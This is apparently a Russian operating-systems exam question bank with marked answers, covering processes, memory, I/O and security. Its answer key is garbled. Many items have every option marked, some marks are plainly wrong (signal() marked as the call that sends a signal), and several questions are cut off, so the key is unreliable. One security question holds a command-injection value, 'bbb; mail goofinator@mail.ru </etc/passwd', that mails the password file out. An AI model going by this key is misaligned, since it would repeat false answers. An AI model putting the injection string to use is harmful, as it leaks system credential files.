

Для сетевых операционных систем характерной является функция обеспечения...

- **Взаимодействие связанных между собой компьютеров**
- Программных каналов между разными компьютерами
- Обмена сигналами между выполняющимися на разных компьютерах программами
- Прямого доступа к оперативной памяти другого компьютера

Одна операционная система может поддерживать несколько...

- Микропрограммных средств
- Микропрограммных систем
- Операционных систем
- Операционных сред

Термин «маскирование» означает  
запрет отдельных ...

- **Сигналов прерывания**
- Команд процессора
- Процессов пользователя
- Команд пользователя

Для реализации синхронизации на уровне языка программирования используются высокоуровневые примитивы, названные ...

- Мониторами
- Супервизорами
- Семафорами**
- Маркерами

Относительный путь к файлу состоит из списка каталогов, которые нужно...

- Пройти от корневого каталога, чтобы добраться до файла
- Добавить в переменную PATH операционной среды
- Пройти от рабочего каталога, чтобы добраться до файла
- Открыть в корневом процессе, чтобы добраться до файла

Свопингом сегментов называется перемещение ...

- Сегментов между оперативной и внешней памятью
- Блоком данных между процессом и ядром операционной системы
- Сегментов данных между стеком и оперативной памятью
- Блоков файла между каталогами файловой системы

Идентификатор пользователя  
представляет собой уникальное  
\_\_\_\_\_ значение

- Вещественное
- Символьное
- **Целое**
- Составное

Мультитерминальный режим работы предполагает совмещение ...

- Аналогового режима работы и режима микропрограммирования
- Многопроцессорного режима работы и режима ввода-вывода
- **Диалогового режима работы и режима мультипрограммирования**
- Привилегированного режима работы и режима пользователя



Последовательная трансляция  
двух исходных программ является

...

- Одним последовательным процессом
- Двумя одинаковыми процессами
- Одной последовательной задачей
- Двумя разными процессами

Идентификатор \_\_\_\_\_ процесса  
является частью \_\_\_\_\_  
процесса (допустимо несколько  
ответов)

- Контекста
- Типа
- Описателя
- Дескриптора

В ОС Unix каждый новый процесс может быть образован (порожден) ТОЛЬКО ...

- **Одним из существующих процессов**
- **Несколькими родительскими процессами**
- **Двумя из существующих процессов**
- **Четным количеством родительских процессов**

Основное различие между долгосрочным и краткосрочным планированием (диспетчеризацией) заключается в...

- Длительности выполнения
- Очередности выполнения
- Скорости выполнения
- **Частоте выполнения**



При совместном использовании процессами аппаратных и информационных ресурсов вычислительной системы возникает потребность в ...

- Оптимизации
- Буферизации
- **Синхронизации**
- Адаптации

В операционной системе UNIX  
сигналы можно рассматривать как  
простейшую форму  
взаимодействия между...

- Сегментами
- Процессами**
- Процессорами
- Каналами

событийного программирования начинается там, где возникают ... (укажите не менее двух вариантов)

- **Трудности декомпозиции решаемой задачи, при которой генерация и обработка рассматриваются как объединенные процессы**
- **Необходимость использования графа переходов между состояниями**
- **Возможности декомпозиции решаемой задачи, при которой генерация и обработка рассматриваются как объединенные процессы**
- **Неудобство использования графа**



Два параллельных  
процесса могут быть ...

- Взаимоисключающими
- **Независимыми**
- Коммутационными
- Критическими

Главной целью мультипрограммирования в системах пакетной обработки является ...

- Обеспечение реактивности системы
- Минимизация времени выполнения одной задачи
- Обеспечение удобства работы пользователя
- Минимизация простоев всех устройств компьютера

Учет участков свободной памяти с помощью связанного списка свободных/занятых блоков позволяет

- находить в памяти наиболее долго занятые участки
- выделять участки памяти произвольных размеров
- освобождать память, занятую неактивными процессами
- перемещать процессы в памяти

Использование виртуальной памяти в однопрограммном режиме приводит к ... процесса, если размер программы существенно больше объема доступной оперативной памяти

- аварийному завершению
- ускорению
- **замедлению выполнения**
- перезапуску

Виртуальная память позволяет ...  
(возможно несколько вариантов ответа)

• отказать от предоставления  
прикладным процессам оперативной  
памяти

• загружать множество небольших  
программ, суммарный объем которых  
больше объема физической памяти

• загружать программы, размер которых  
превышает объем доступной  
физической памяти

• загружать программы, скомпилированные

Сегментная организация памяти  
... отдельно скомпилированных  
процедур.

- СОСТОИТ ИЗ
- упрощает компоновку**
- невозможна без
- усложняет компоновку**

При страничной организации памяти таблица страниц может размещаться в ...

- только в оперативной памяти
- в оперативной памяти и на диске
- только в процессоре
- в **специальной быстрой памяти процессора и в оперативной памяти**

Страничная организация предназначена для ...

- облегчения совместного использования процедур, библиотек и массивов данных
- повышения уровня защиты программ и данных
- получения большого адресного пространства без приобретения дополнительной физической памяти
- логического разделения программ и данных



При страничном сбое и отсутствии свободных блоков физической памяти операционная система должна ...

- выбрать страницу - кандидат на удаление из памяти и сохранить удаляемую страницу на диске
- **выбрать страницу - кандидат на удаление из памяти и сохранить удаляемую страницу на диске, если она претерпела изменения**
- выбрать страницу, которая не изменялась, и сохранить удаляемую страницу на диске
- выбрать страницу-кандидат на удаление из памяти и сохранить копию удаляемой страницы в таблице страниц

# Полная реализация алгоритма LRU (Least Recently Used) ...

- теоретически невозможна
- возможна при использовании стековой организации таблицы страниц
- возможна при условии построения таблицы страниц в виде бинарных деревьев
- **практически невозможна**



Мыши (в качестве устройства-указателя) относятся к \_\_\_\_\_ устройствам ввода-вывода.

- позиционируемым
- СИМВОЛЬНЫМ**
- адресуемым
- блочным

Любые операции по управлению  
вводом-выводом объявляются ...

- **привилегированными**
- универсальными
- приоритетными
- уникальными

Супервизор вводит-выводит  
инициирует операции ввода-вывода и  
в случае управления вводом-  
выводом с использованием  
прерываний предоставляет  
процессор ...

- супервизору прерываний
- диспетчеру задач
- задаче пользователя
- супервизору программ

В режиме обмена с опросом  
готовности устройства ввода-вывода  
используется \_\_\_\_\_  
центрального процессора.

- рационально время
- нерационально память
- **нерационально время**
- рационально память

Понятия «виртуального устройства» по отношению к понятию «спулинга» ...

- соотносится как часть и целое
- **является более широким**
- является более узким
- тождественно



Каждый элемент таблицы  
оборудования условно  
называется ...

- **UCB**
- **USB**
- **DCB**
- **DRT**

Для увеличения скорости выполнения приложений при необходимости предлагается использовать \_\_\_\_\_ ВВОД-ВЫВОД.

- асинхронный
- приоритетный
- автоматический
- синхронный

Программа, расположенная в  
главной загрузочной записи,  
называется \_\_\_\_\_  
загрузчиком.

- СИСТЕМНЫМ
- ВНЕСИСТЕМНЫМ**
- Начальным
- локальным

Простейшим вариантом ускорения дисковых операций чтения данных можно считать использование двойной ...

- кластеризации
- буферизации
- диспетчеризации
- приоритезации

Операционная система реального времени должна обеспечивать ...

- **Наследование приоритетов**
- **Клонирование пользователей**
- **Пакетную обработку**
- **Делегирование полномочий**

К невыгружаемым относятся такие ресурсы, которые не могут быть ...

- Загружены в память
- Отобраны у процесса
- **Отобраны у процесса**
- Выгружены из памяти

Интерфейс прикладного  
программирования предназначен для  
использования прикладными  
программами ...

- Адресного пространства процесса
- **Системных ресурсов компьютера**
- Регистров общего назначения процессора
- Интерпретатора команд пользователя





Угроза зомби реализуется с помощью ... и заставляет компьютер выполнять приказания других лиц.

- вызова утилит операционной системы
- диспетчера приложений
- **вредоносных программ**
- подбора пароля

Недостаток систем шифрования с секретным ключом состоит в том, что ...

- отправитель сообщения не может его расшифровать
- **отправитель и получатель должны иметь общий секретный ключ**
- объем вычислений при дешифровании намного больше, чем при шифровании
- объем вычислений при шифровании намного больше, чем при дешифровании

Объектами защиты в компьютерных системах могут быть ...

- устройства информации
- помещения
- сотрудники
- **программы**

отображения

Политика принудительного управления доступом (mandatory access control) возлагает полномочия по назначению прав доступа к файлам и другим объектам на ...

- пользователей
- прикладную программу
- операционную систему
- руководителей подразделений

Защита зашифрованных паролей в UNIX  
взламывается путем ...

- **шифрования множества потенциальных паролей открытым алгоритмом шифрования и поиска совпадений в файле паролей**
- **привлечения инсайдеров в качестве сообщников**
- **расшифровки всех паролей после копирования файла паролей**
- **вычисления пароля путем свертки идентификатора пользователя**

...

- для облегчения отладки программ или в противоправных целях
- только для противоправных целей
- для внедрения в программу постороннего кода
- только для облегчения отладки

Программа, выполняющая копирование файла путем системного вызова, запрашивает у пользователя имена файла-источника и файла-приемника. Злоумышленник ввел в качестве имен файлов следующие значения: “aaa” и “bbb; mail goofinator@mail.ru </etc/passwd”. Какие действия выполнит система?

- Скопирует файл aaa в bbb и отправит файл bbb адресату goofinator@mail.ru.
- Отправит файл aaa адресату goofinator@mail.ru.
- Скопирует текст aaa в файл паролей, относящийся к пользователю с идентификатором goofinator@mail.ru.
- Скопирует файл aaa в bbb и отправит по электронной почте файл паролей адресату [goofinator@mail.ru](mailto:goofinator@mail.ru).

Наиболее популярное  
применение ботнетов (сети  
зараженных компьютеров) - это ...

- организация сетевых азартных игр
- распространение пиратского контента
- **рассылка коммерческого спама**
- хищение денег с кредитных карт



Перезаписывающий вирус заражает исполняемую программу путем ...

- записи кода вируса в тело зараженной программы после каждого ее вызова
- перезаписи содержимого стека программы кодом вируса
- перезаписи служебных секторов дисков
- записи вируса на место кода программы

# Обнаружить зашифрованный вирус МОЖНО ...

- с помощью универсальной программы дешифрования
- по характерному поведению зараженной программы при запуске
- по сигнатурам кода процедур расшифровки вируса
- по изменению размера программы

Операционные системы  
представляют собой программные  
продукты, входящие в состав:

- Прикладного программного обеспечения;
- **Системного программного обеспечения;**
- Системы управления базами данных;
- Систем программирования;

Операционная среда использует функцию операционной системы...  
(возможно более одного ответа)

- Оптимизировать использование ресурсов
- **Являться виртуальной машиной**
- Обеспечивать пользователя сервисами
- **Обеспечивать пользователя удобным интерфейсом**

Что относится к механизму обработки прерывания на аппаратном уровне?

- Запоминание состояния прерванного процесса вычислений
- Сохранение информации о прерванной программе
- Восстановление информации, относящейся к прерванному процессу
- Возврат на прерванную программу

Из какого состояния процесс может перейти в состояние "Исполнение"?

- Из состояния «Готовность»
- Из состояния «Ожидание»
- Из состояния «Блокирован»
- Из состояния «Возобновление»

# Кто является владельцем файла в UNIX?

- Пользователь, который его открыл
- **Пользователь, который его создал**
- Любой пользователь
- Администратор системы

Реализация виртуальной памяти в ОС может быть осуществлена следующими механизмами

- Сегментным
- Страничным
- Странично – сегментным
- Всеми ранее перечисленными**



Какие права пользователей файлов имеются в UNIX?

- Право на чтение
- Право на запись
- Право на выполнение
- **Все три группы прав**

Режимы работы ОС  
бывают...(возможно более одного  
правильного ответа)

- Пользовательский и привилегированный
- Режим пользователя и режим ядра
- Однозадачный и многозадачный
- Однопользовательский и многопользовательский

Какие действия выполняет ОС UNIX при создании процесса?

- Вызывает некоторую программу
- Выполняет программу, находящуюся в памяти
- **Создает копию программы в отдельном адресном пространстве**
- Завершает выполнение программы

# Что такое переключение контекста?

- Выключение и включение компьютера
- Переход к следующему активному окну
- **Прекращение выполнения процессором одного процесса с сохранением всей информации и состояния, необходимых для последующего продолжения с прерванного места, и восстановления и загрузки состояния задачи, к выполнению которой переходит процессор.**
- Смена активного пользователя компьютера

Процессы могут быть ... (возможно несколько ответов)

- **Родительскими и дочерними**
- **Независимыми и зависимыми**
- **Активными и пассивными**
- **Завершенными и незавершенными**

Для какой дисциплины планирования процессов должна быть заранее известна длительность процесса.

- "Первым пришел – первым обслуживается»
- "Карусель"
- "Самая короткая работа – следующая"
- "С наибольшим штрафным отношением – следующий"

Что представляет собой очередь процессов?

- Списковая структура процессов, готовых для выполнения с учетом их приоритетов
- Списковая структура процессов, готовых для выполнения**
- Аппаратная реализация стека процессов
- Набор компьютеров сети, упорядоченных по их IP-адресам

Термин «критическая секция»  
относится: ...

- К созданию процессов
- К созданию потоков
- К **синхронизации**  
**процессов**
- К страничной организации  
памяти



Какой системный вызов Unix предназначен для обработки сигнала?

- pipe()
- kill()
- **signal()**
- wait()

# Основной принцип событийного программирования

- **Программа реагирует на события путем вызова обработчиков событий**
- События, возникающие в системе, посылают сигналы основной программе
- Программа опрашивает все события, возникающие в системе, и завершается
- События никак не влияют на выполнение программы

Какие средства межпроцессного взаимодействия имеются в ОС Unix?

- Каналы, файлы
- Каналы, файлы, очереди сообщений, сокеты
- Семафоры, сигналы
- Очереди сообщений

Мультипрограммирование в режиме  
разделения времени...

- Обеспечивает максимальную  
эффективность использования  
ресурсов компьютера
- Обеспечивает максимальное удобство  
для каждого пользователя
- Обеспечивает минимум простоев  
оборудования
- Обеспечивает минимальные затраты  
оперативной памяти

Какими способами организуется  
управление памятью при  
отсутствии операционной  
системы:

- **оверлеи**
- фиксированные разделы
- перемещаемые разделы
- динамические разделы

Какими способами осуществляется размещения блоков основной памяти в кэше?

- **кэш-память с прямым отображением**  
**direct-mapped cache**
- **ПОЛНОСТЬЮ ассоциативная кэш-память**  
**fully associative cache**
- **частично ассоциативная**  
**partial associative**
- **множественно ассоциативная**  
**set-associative cache кэш-память**

Системы виртуальной памяти можно разделить на:

- системы с фиксированным размером блоков, называемых страницами
- системы с переменным размером блоков, называемых сегментами
- системы со смешанной организацией, странично-сегментная организация
- нет правильных вариантов

В системах с сегментацией памяти  
каждое слово в адресном  
пространстве определяется  
виртуальным адресом, состоящим из:

- старшие разряды адреса  
рассматриваются как номер  
сегмента
- младшие - как номер слова  
внутри сегмента
- все варианты правильны
- нет правильных вариантов



Какими частями определяется виртуальный адрес при страничной организации памяти?

- старшие разряды адреса определяют номер сегмента
- средние разряды адреса определяют номер страницы внутри сегмента
- младшие разряды адреса определяют номер слова внутри страницы

Страничная организация предназначена для:

- облегчения совместного использования процедур, библиотек и массивов данных
- повышения уровня защиты программ и данных
- получения большого адресного пространства без приобретения дополнительной физической памяти
- логического разделения программ и данных

При страничном сбросе и отсутствии свободных блоков физической памяти операционная система должна:

- выбрать страницу-кандидат на удаление из памяти и сохранить удаляемую страницу на диске
- **выбрать страницу-кандидат на удаление из памяти и сохранить удаляемую страницу на диске, если она претерпела изменения**
- выбрать страницу, которая не изменялась, и сохранить удаляемую страницу на диске
- выбрать страницу-кандидат на удаление из памяти и сохранить копию удаляемой страницы в таблице страниц

Алгоритмы замещения страниц  
делятся на:

- **локальные**
- **глобальные**
- **региональные**
- **корпоративные**

**В состав системы прерывания  
входят:**

- векторы прерывания**
- обработчики прерывания**
- контроллеры устройств ввода-вывода**
- иерархия управления  
масками прерываний**
- блок управления процессора**

Основные классы устройств  
ввода-вывода включают:

- **Байт-ориентированные устройства**
- **Блок-ориентированные**
- **Смешанные**
- **Графические устройства**

Укажите недостатки буферизированного ввода-вывода:

- при таком вводе-выводе невозможно задать шрифтовое и абзацное оформление текста - используется только поток символов
- такой ввод-вывод ограничен консолью и консольными операциями перенаправления вывода.
- редактировать такой поток можно только с помощью внешних программ-редакторов.
- нет правильных вариантов

Какие функции выполняет супервизор ввода-вывода?

- получает запросы на ввод-вывод от супервизора задач или от программных модулей самой операционной системы.
- вызывает соответствующие распределители каналов и контроллеров, планирует ввод-вывод. Запрос на ввод-вывод либо тут же выполняется, либо ставится в очередь на выполнение.
- инициирует операции ввода-вывода и при использовании прерываний предоставляет процессор диспетчеру задач, чтобы передать его первой задаче, стоящей в очереди на выполнение.
- посылает сообщения о завершении операции ввода-вывода запросившей эту операцию задаче и снимает ее с состояния ожидания ввода-вывода, если задача ожидала завершения операции.



Какие основные режимы ввода-вывода существуют?

- режим обмена опросом готовности устройства ввода-вывода
- режим обмена с прерыванием
- прямой доступ к памяти
- календарное планирование

Укажите термин используемый при  
закреплении устройств в  
монопольное использование  
процессу

- свопинг (swapping)
- скроллинг (scrolling)
- спулинг (spooling - Simultaneous Peripheral Operation On-Line)**
- нет правильных вариантов

**Что включается в основные системные таблицы оборудования:**

- таблица оборудования ET - equipment table (список устройств)**
- таблица виртуальных логических устройств DRT - device reference table**
- таблица прерываний IT - interrupt table.**
- нет правильных вариантов**

Стандартным для большинства операционных систем является:

- **синхронный ввод-вывод**
- асинхронный ввод-вывод
- все варианты правильны
- нет правильных вариантов

Какая операция обмена с диском обычно наиболее затратна по времени?

- определение адреса размещения данных на магнитных дисках
- ПОДВОД ГОЛОВОК К НУЖНОМУ ЦИЛИНДРУ С ДАННЫМИ**
- поиск на дорожке нужного блока данных
- обмен с найденным блоком данных

Какие утверждения верны для кэширования дисковых операций?

- **повышает эффективность операций ввода-вывода за счет введения техники упреждающего чтения read ahead**
- **основано на чтении с диска в буфер большего количества данных, чем содержит запрос.**
- **позволяет читать дополнительные блоки данных, используемые особенно при последовательном доступе к данным.**
- **использует принцип пространственной и временной локальности данных.**

это

- Система, в которой на каждом уровне выполняется программа пользователя
- Система, в которой на каждом уровне выполняется определенные функции управления
- Система, в которой различные пользователи могут работать на отдельных уровнях
- Система, в которой с одного уровня управления передается управление на следующий уровень

Ядро операционной системы  
предназначено для ...

- Управления ресурсами  
компьютерами
- Обращения к аппаратуре
- Повышения эффективности работы  
пользователя
- Эффективного использования  
оборудования**



Текстовый интерфейс ОС  
обладает

- **Командной строкой и командным языком**
- **Элементами управления**
- **Мышью и кнопками**
- **Джойстиком**

# Виды многозадачности в ОС

- **Вытесняющая** и **не вытесняющая**
- **Однопользовательская** и **многопользовательская**
- **Однонитевая** и **многонитевая**
- **Однопроцессорная** и **многопроцессорная**

Какие основные факторы учитываются при анализе угроз и уязвимостей?

- **типы нападений, с которыми, наиболее вероятно, придется столкнуться**
- **где эти нападения могут наиболее вероятно произойти**
- **сколько злоумышленников (нарушителей) участвует в атаке**
- **какие технические средства используют злоумышленники при атаке**

Основными способами криптографии являются

- симметричная криптография (один секретный ключ для шифрации и дешифрации)
- несимметричная криптография (два ключа - закрытый и открытый)
- все варианты правильны
- нет правильных вариантов

Какие механизмы защиты могут применяться?

- кодирование объектов
- скрытие объектов
- инкапсуляция объектов
- уничтожение объектов

# Способы повышения надежности вычислительной системы

- дублирование каналов и устройств
- горячее резервирование каналов и устройств
- виртуализация инфраструктуры
- кластеризация инфраструктуры

Какой метод аутентификации наиболее часто применяется на практике?

- генерация случайного пароля заданной длины и использованного алфавита
- основан на уникальности личности (отпечатков пальцев, сетчатки глаза и др.)
- одноразовые пароли
- комплексная защита от несанкционированного доступа

На каких этапах закладываются уязвимости?

- на этапе разработки концепций системы и защиты
- на этапах проектирования и создания системы
- на этапе тестирования и отладки системы и средств защиты
- на этапе эксплуатации и развития комплексной системы



классификации

несанкционированного доступа

включает

- Несанкционированный доступ с рабочего места пользователя (НСД-1)
- Несанкционированный доступ с места другого пользователя (НСД-2)
- Несанкционированный доступ с удаленного по сети места (НСД-3)

Укажите, какие из перечисленных средств относятся к вредоносным?

- Скрытый "люк", логическая "бомба"
- Вирусы (загрузочный, файловый, программный, стелс-, и др. типы)
- Почтовые черви
- Троянские кони
- Спам (нецелевые рассылки и реклама)
- Генераторы вирусов и других вредоносных средств

Какие классы вредоносных программ могут переносить встроенные вирусы

- **Троянский конь**
- **Почтовые черви**
- **Фишинг (fishing)**
- **Эксплойты (exploit)**
- **Руткиты (rootkit)**

**Какие организационные методы существуют для защиты от вирусов**

- изменить среду или поведение пользователя в среде**
- исключить необдуманные действий пользователя**
- разработка строгих правил работы за компьютером, которые должны соблюдать все пользователи**
- нет правильных вариантов**

Операционная система - это:

- Совокупность основных устройств компьютера;
- Система программирования на языке низкого уровня;
- **Набор программ, обеспечивающих работу всех аппаратных устройств компьютера и доступ пользователя к ним;**
- Программа для уничтожения компьютерных вирусов.

Одна операционная среда может использоваться...

- В одной операционной системе
- В двух определенных операционных системах
- В любой операционной системе
- В той операционной системе, для которой она разработана

прерывания на программном уровне?  
(возможно несколько ответов)

- Запоминание состояния прерванного процесса вычислений
- Сохранение информации о прерванной программе
- Восстановление информации, относящейся к прерванному процессу
- Возврат на прерванную

Как называется состояние процесса, когда он имеет все необходимые для выполнения ресурсы, кроме ресурса центрального процессора.

- Активное состояние.
- **Состояние готовности**
- Заблокированное состояние.
- Состояние ожидания



Какие из перечисленных ниже файловых систем поддерживает ОС Windows NT?

- NTFS, FAT16, NPFS.
- NTFS, FAT32, NPFS.
- FAT16, FAT32, NPFS.
- **NTFS, FAT16, FAT32.**

- Размещается в оперативной памяти и содержит информацию о виртуальных страницах
- Размещается на диске и содержит информацию о выполняемой программе
- Размещается в оперативной памяти и содержит информацию о выполняемых программах
- Размещается на диске и содержит информацию о виртуальных страницах

Какие группы прав имеет пользователь Unix?

- Пользователь, пользователей **Группа**
- Администраторы, пользователи **Конечные**
- Пользователь, пользователей, Прочие **группа**
- Системные пользователи, Администраторы, пользователи, Прочие **Прочие**
- пользователи

Режимы работы ОС  
бывают...(возможно более одного  
правильного ответа)

- Пользовательский и привилегированный
- Режим пользователя и режим ядра
- Однозадачный и многозадачный
- Однопользовательский и многопользовательский

С помощью какой функции API создается поток в ОС Windows?

- CreateProcess
- **CreateThread**
- CreateFile
- CreatePipe

# Что входит в контекст процесса?

- Идентификатор процесса
- Дескриптор процесса
- **Состояние регистров, в том числе программного счетчика, режим работы процессора, незавершенные операции ввода-вывода, информация о выполненных системных вызовах.**
- **Имя процесса, состояние регистров**

В какой операционной системе процессы образуют иерархию?

- В Unix
- В Windows
- Процессы в любой операционной системе независимы
- В любой операционной системе процессы образуют иерархию

Как называется простейшая дисциплина планирования процессов с вытеснением в которой процесс получает в свое распоряжение ЦП на некоторый квант времени  $Q$ . Если за время  $Q$  процесс не завершился, он вытесняется с ЦП и направляется в конец очереди готовых процессов, где ждет выделения ему следующего кванта, и т.д.

- "Первым пришел – первым обслуживается"
- **"Карусель"**
- "Самая короткая работа – следующая"
- "С наибольшим штрафным отношением – следующий"



У каких процессов обычный пользователь Unix может изменить приоритет?

- У любого пользователя
- **У себя**
- Ни у кого
- У пользователей из некоторого списка

Какие средства синхронизации используются в системе Windows?

- Семафоры, события, критические секции
- Семафоры, сигналы
- Очереди сообщений, каналы
- Именованные и неименованные каналы

Какой системный вызов Unix  
предназначен для отправки  
сигнала?

- pipe()
- kill()
- **signal()**
- wait()

Как выглядит алгоритм программы, управляемой событиями?

- Это сплошной путь, соединяющий вход и выход
- Это совокупность алгоритмов для каждого допустимого обработчика событий
- Это цикл ожидания наступления некоторого события
- Этот алгоритм зависит от особенностей решаемой задачи

Какие виды каналов имеются в ОС Windows для межпроцессного обмена?

- **Анонимные и именованные**
- **Полудуплексные и дуплексные**
- **Однонаправленные и двунаправленные**
- **Локальные и удаленные**

Главной целью мультипрограммирования в системах пакетной обработки является

...

- Обеспечение быстрой реакции системы
- Минимизация времени выполнения одной задачи
- Обеспечение удобства работы пользователя
- **Минимизация простоев всех устройств компьютера**

Укажите какие виды адресов важны с точки зрения организации памяти

- **логический адрес**
- **виртуальный адрес**
- **физический адрес**
- **абсолютный адрес**
- **относительный адрес**

Как называется модель, когда распределение реальной памяти производится блоками постоянной длины?

- Сегментная модель.
- **Страничная модель.**
- Динамическая модель.
- Статическая модель.



Какие типы организации виртуальной памяти существуют?

- страничная организация
- сегментная организация
- смешанная ( странично - сегментная) организация.
- нет правильных вариантов

Каким может быть размер одного сегмента виртуальной памяти?

- Любой

- 4Кб

- 4Гб

- ограничен размером виртуальной памятью

Каким может быть размер одной страницы виртуальной памяти?

- Любой

- 4Кб

- 4Гб

- ограничен размером виртуальной памятью

Что вносит наиболее существенный вклад в ускорение работы страничной памяти?

- аппаратная поддержка загрузки физических страниц
- программная реализация вычисления физических адресов страниц
- все варианты правильны
- нет правильных вариантов

Какие недостатки имеют глобальные алгоритмы замещения страниц:

- делают одни процессы чувствительными к поведению других процессов
- если приложение использует большое количество страниц памяти, то все остальные приложения будут в результате ощущать сильное замедление из-за недостатка кадров памяти для своей работы.
- некорректно работающее приложение может подорвать работу всей системы если, в системе не предусмотрено ограничение на размер памяти, выделяемой процессу, пытаясь захватить больше памяти.
- в многозадачной системе приходится использовать сложные локальные алгоритмы.

Укажите алгоритмы используемые при замещении страниц

- **алгоритм FIFO - выталкивание первой пришедшей страницы**
- **оптимальный алгоритм OPT**
- **алгоритм SJF - планирования процессов**
- **алгоритм NFU - выталкивание редко используемой страницы.**
- **алгоритм NFU Not Frequently Used программная реализация алгоритма LRU.**

Запросы на ввод-вывод от супервизора задач или от программных модулей самой операционной системы получает \_\_\_\_\_ ввода-вывода.

- контроллер
- диспетчер
- **супервизор**
- процессор

К какому классу устройств ввода-вывода относятся винчестер?

- **блок-ориентированное устройство**
- **байт-ориентированное**
- **Символьно - ориентированное устройство**
- **нет правильных вариантов**



Укажите какие недостатки ввода-вывода с использованием API?

- **большой, по сравнению с буферизированным вводом-выводом, размер кода и количество подготовительных операций перед выводом**
- **привязка ввода-вывода к определённой платформе ЭВМ, библиотекам и операционной системе**
- **невозможность оперативного, без помощи программиста, перенаправления вывода.**
- **нет правильных вариантов**

Какие действия осуществляет супервизор  
ввод-вывод при получении запроса на  
ввод-вывод

- запрос выполняется,
- запрос ставится в очередь на выполнение
- запрос отбрасывается как невыполнимый
- ни один из предложенных не является верным

Какие режимы управления вводом-выводом существуют в ОС

- Программный опрос
- По прерыванию
- Прямой доступ в память
- Сетевой режим

# Как используются виртуальные устройства?

- для реализации спулинга
- для работы с удаленными по сети устройствами ввода-вывода
- для изменения свойств реальных устройств ввода-вывода
- для работы с отсутствующими устройствами ввода-вывода

Какую информацию содержит UCSB (unit control block) таблицы оборудования ET?

- тип, модель, имя и характеристики устройства ввода-вывода
- характеристики подключения, тип интерфейса, порт, линия запроса прерывания
- указатель на драйвер управления и адреса его секций
- наличие и адрес буфера обмена для устройства ввода-вывода
- уставка тайм-аута и адрес ячейки хранения счетчика тайм-аута
- текущее состояние устройства ввода-вывода
- дескриптор задачи, использующий устройство в данный момент времени

Асинхронный ввод-вывод.

- характерен для всех операционных систем
- характерен для большинства мультипрограммных операционных систем
- существует явно, если операционная система поддерживает мультизадачность с помощью механизма потоков выполнения.
- можно реализовать самому, организовав для вывода данных отдельный поток выполнения

Какая программа  
осуществляет загрузку  
операционной системы?

- первичный загрузчик
- **вторичный загрузчик**
- BIOS
- Локальный

Как называется пакет винчестеров с общим контроллером?

- **RAID** redundant array of independent disks
- **ТОМ**
- **бобина**
- **барабан**



Система, в которой выделяются процессы – поставщики услуг и процессы – потребители услуг

- Система, в которой пользователи являются клиентами, а компьютеры являются серверами
- Система, в которой процессы пользователя расположены на разных уровнях
- Система, в которой клиентские компьютеры находятся в одном помещении, а серверные – в другом

Ресурсы ОС подлежат  
распределению в ...

- Однопрограммной системе
- **Многопрограммной системе**
- Однопользовательской системе
- Многопользовательской  
системе

# Графический интерфейс ОС обладает

- Командной строкой и командным языком
- Элементами управления и мышью
- Мышь и кнопками
- Джойстиком

По особенностям аппаратуры ОС  
делятся на

- Ламповые и микропроцессорные
- Однопроцессорные и многопроцессорные
- **Сетевые и настольные**
- Клиентские и серверные

Активное обнаружение нападения подразумевает:

- **знание известных схем нападений,**
- **знание известных команд и их блокировки**
- **атака обнаруживается в процессе проведения**
- атака обнаруживается в период ее подготовки
- атака обнаруживается в процессе аудита

# На каком принципе основана ЭЦП (электронная цифровая подпись)

- симметричная криптография (один секретный ключ для шифрации и дешифрации)
- **несимметричная криптография (два ключа - закрытый и открытый)**
- все варианты правильны
- нет правильных вариантов

Основными механизмами защиты являются

- **Аутентификация**
- **Авторизация**
- **Криптография**
- **Сетевые экраны**
- **Туннели**

# Укажите классы защищенных вычислительных систем

- **Класс А**
- **Класс В (подклассы В1, В2, В3)**
- **Класс С (подклассы С1, С2)**
- **Класс D**



Какой состав маркера доступа access token?

- идентификатор пользователя SID (Security Identifier),
- идентификаторы групп пользователей, в которые включен пользователь,
- набор привилегий, которыми обладает пользователь.
- коды доступа к защищенным объектам

Чем обеспечивается общий подход для защиты от внутренних атак?

- обработка информации различного уровня конфиденциальности должна обеспечиваться различными ресурсами
- должны быть сформированы различные режимы защиты ресурсов для различных уровней конфиденциальности
- различные режимы функционирования и средства защиты должны быть изолированы
- политика безопасности должна строиться не на разграничительном доступе, а на разлепительном доступе

Укажите действия, подпадающие под определение атаки (attack) на защищенную систему -

- любое действие, связанное с несанкционированным доступом в вычислительную сеть и нанесением ущерба как сети в целом, так и любым ее составным частям, включая условия или результаты их функционирования.
- действие злоумышленника, связанное с несанкционированным доступом в вычислительную сеть и сознательным нанесением ущерба как сети в целом, так и любым ее составным частям, включая условия или результаты их функционирования.
- действие нарушителя, связанное с непреднамеренным доступом в вычислительную сеть и нанесением ущерба как сети в целом, так и любым ее составным частям, включая условия или результаты их функционирования.
- планирование в будущем вышеперечисленных действий

Какие классы вирусов существуют?

- Биологические вирусы
- Компьютерные вирусы
- Вирусы сознания
- Мемы
- **Все перечисленные**

Укажите признак, отличающий все вирусы от остальных типов вредоносных средств

- **Размножение (распространение) в строго определенных условиях окружающей среды**
- **Размножение или существование в различных операционных средах**
- **Любой код может быть вирусом для строго определенной среды (обратная задача вируса)**
- **Код вируса никогда не является исполняемой программой для своей среды, но может изменять поведение среды**
- **Вирус всегда является фрагментом кода, управляющим своей (родной) средой**

## защищенные антивирусом компьютеры?

- **антивирус был отключен пользователем**
- **антивирусные базы были слишком старые**
- **были установлены слабые настройки защиты**
- **вирус использовал технологию заражения, против которой у антивируса не было средств защиты**
- **вирус попал на компьютер раньше, чем был установлен антивирус**
- **это был новый вирус, для которого еще**